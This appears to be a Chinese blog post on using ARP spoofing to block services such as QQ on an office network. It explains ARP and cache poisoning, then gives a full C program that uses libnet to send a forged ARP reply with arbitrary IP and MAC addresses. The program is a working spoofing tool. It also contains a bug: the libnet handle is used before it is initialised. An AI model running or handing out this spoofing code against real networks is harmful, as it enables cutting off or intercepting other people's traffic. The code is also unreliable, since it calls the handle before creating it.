zoukankan      html  css  js  c++  java
  • VC++基于APR实现禁止某个业务(开发行为控制软件用得着,例如上班禁止上QQ)

    ARP(Address Resolution Protocol,地址解析协议)是获取物理地址的一个TCP/IP协议。某节点的IP地址的ARP请求被广播到网络上后,这个节点会收到确认 其物理地址的应答,这样的数据包才能被传送出去。RARP(逆向ARP)经常在无盘工作站上使用,以获得它的逻辑IP地址。
     地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP地址时确  地址解析协议定其物理地址的一种协议。因IPv4和以太网的广泛应用,其主要用作将IP地址翻译为以太网的MAC地址,但其也能在ATM( 异步传输模式)和FDDIIP(Fiber Distributed Data Interface 光纤分布式数据接口)网络中使用。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
     1. 什么是ARP?
      ARP (Address Resolution Protocol) 是个地址解析协议。最直白的说法是:在IP-以太网中,当一个上层协议要发包时,有了节点的IP地址,ARP就能提供该节点的MAC地址。
      2. 为什么要有ARP?
      OSI 模式把网络工作分为七层,彼此不直接打交道,只通过接口(layer interface). IP地址在第三层, MAC地址在第二层。协议在发送数据包时,得先封装第三层(IP地址),第二层(MAC地址)的报头, 但协议只知道目的节点的IP地址,不知道其MAC地址,又不能跨第二、三层,所以得用ARP的服务。
      3. 什么是ARP
      cache? ARP cache 是个用来储存(IP, MAC)地址的缓冲区。当ARP被询问一个已知IP地址节点的MAC地址时,先在ARP cache 查看,若存在,就直接返回MAC地址,若不存在,才发送ARP request向局域网查询。
      4. ARP 有什么命令行?
      常用的包括:(格式因操作系统、路由器而异,但作用类似)- 显示ARP cache: show arp; arp -a - 清除ARP cache: arp -d;clear arp。
     在TCP/IP协议中,A给B发送IP包,在报头中需要填写B的IP为目标地址,但这个IP包在以太网上传输的时候,还需要进行一次以太包的封装,在这个以太包中,目标地址就是B的MAC地址.
      计算机A是如何得知B的MAC地址的呢?解决问题的关键就在于ARP协议。
      在A不知道B的MAC地址的情况下,A就广播一个ARP请求包,请求包中填有B的IP(192.168.1.2),以太网中的所有计算机都会接收这个请求,而正常的情况下只有B会给出ARP应答包,包中就填充上了B的MAC地址,并回复给A。
      A得到ARP应答后,将B的MAC地址放入本机缓存,便于下次使用。
      本机MAC缓存是有生存期的,生存期结束后,将再次重复上面的过程。
      ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。所以,那个伪造出来的MAC地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!这就是一个简单的ARP欺骗。














    #include <win32/libnet.h>   
    /*  
    =======================================================================================================================  
    在windows平台下必须包含此文件,文件libnet.h是libnet开发包的头文件  
    =======================================================================================================================  
     */   
    void main()   
    {   
        int packet_size;   
        /* 存放数据包长度的变量 */   
        libnet_t *l;   
        /* libnet句柄 */   
        libnet_ptag_t protocol_tag;   
        /* 协议块标记 */   
        char *device = NULL;   
        /* 设备名字,此时为NULL */   
        char error_information[LIBNET_ERRBUF_SIZE];   
        /* 用来存放错误信息 */   
        char *destination_ip_str = "192.168.0.2";   
        /* 目的IP地址字符串变量,可以指定任意一个合法的IP地址 */   
        char *source_ip_str = "192.168.0.3";   
        /* 源IP地址字符串变量,可以指定任意一个合法的IP地址 */   
        u_char hardware_source[6] =   
        {   
            0x01, 0x02, 0x03, 0x04, 0x05, 0x06   
        };   
        /* 源MAC地址,可以是任意指定 */   
        u_char hardware_destination[6] =   
        {   
            0x06, 0x05, 0x04, 0x03, 0x02, 0x01   
        };   
        /* 目的MAC地址,可以是任意指定 */   
        u_long destination_ip;   
        /* 目的IP地址 */   
        u_long source_ip;   
        /* 源IP地址 */   
        destination_ip = libnet_name2addr4(l, destination_ip_str, LIBNET_RESOLVE);   
        /* 把目的IP地址字符串形式转化成网络顺序字节形式的数据 */   
        source_ip = libnet_name2addr4(l, source_ip_str, LIBNET_RESOLVE);   
        /* 把源IP地址字符串形式转化成网络顺序字节形式的数据 */   
        l = libnet_init(   
        /* 初始化libnet */   
        LIBNET_LINK_ADV,   
        /* libnet类型 */   
        device,   
        /* 网络设备 */   
        error_information); /* 错误信息  
         * */   
        protocol_tag = libnet_build_arp(   
        /* 构造ARP协议块,函数的返回值是代表新生成的ARP协议块的一个协议块标记, */   
        ARPHRD_ETHER,   
        /* 硬件地址类型,在这里是以太网 */   
        ETHERTYPE_IP,   
        /* 协议地址类型,在这里是IP协议 */   
        6,   
        /* 硬件地址长度,MAC地址的长度为6 */   
        4,   
        /* 协议地址长度,IP地址的长度为4 */   
        ARPOP_REPLY,   
        /* 操作类型,在这里是ARP应答类型 */   
        hardware_source,   
        /* 源硬件地址 */   
        (u_int8_t*) &source_ip,   
        /* 源IP地址 */   
        hardware_destination,   
        /* 目标硬件地址 */   
        (u_int8_t*) &destination_ip,   
        /* 目标协议地址 */   
        NULL,   
        /* 负载,此时为NULL */   
        0,   
        /* 负载的长度,此时为0 */   
        l,   
        /* libnet句柄,此句柄由libnet_init()函数生成 */   
        0   
        /* 协议块标记,此时为0,表示构造一个新的ARP协议块,而不是修改已经存在的协议块  
         * */   
        );   
        protocol_tag = libnet_autobuild_ethernet(   
        /* 构造一个以太网协议块,返回一个指向此协议块的标记 */   
        hardware_destination,   
        /* 目的硬件地址 */   
        ETHERTYPE_ARP,   
        /* 以太网上层协议类型,此时为ARP类型 */   
        l /* libnet句柄 */   
        );   
        packet_size = libnet_write(l);   
        /*  
         * 发送已经构造的ARP数据包,注意此数据包应该包括两部分,一部分是ARP协议块,另外一部分是以太网协议块  
         */   
        printf("发送一个%d字节长度的ARP应答数据包\n", packet_size);   
        /* 输出发送的ARP数据包的字节数 */   
        libnet_destroy(l);   
        /* 销毁libnet */   
    }   


  • 相关阅读:
    SQLite增删改查(自己写SQL语句)
    Why you have so few friends?
    android数据库SQLite简单测试
    C语言 stringcpy,stringcat,stringcmp实现
    python 日期和时间
    Python continue 语句
    Python break 语句
    Python 循环语句
    Python 条件语句
    Python比较运算符
  • 原文地址:https://www.cnblogs.com/new0801/p/6177679.html
Copyright © 2011-2022 走看看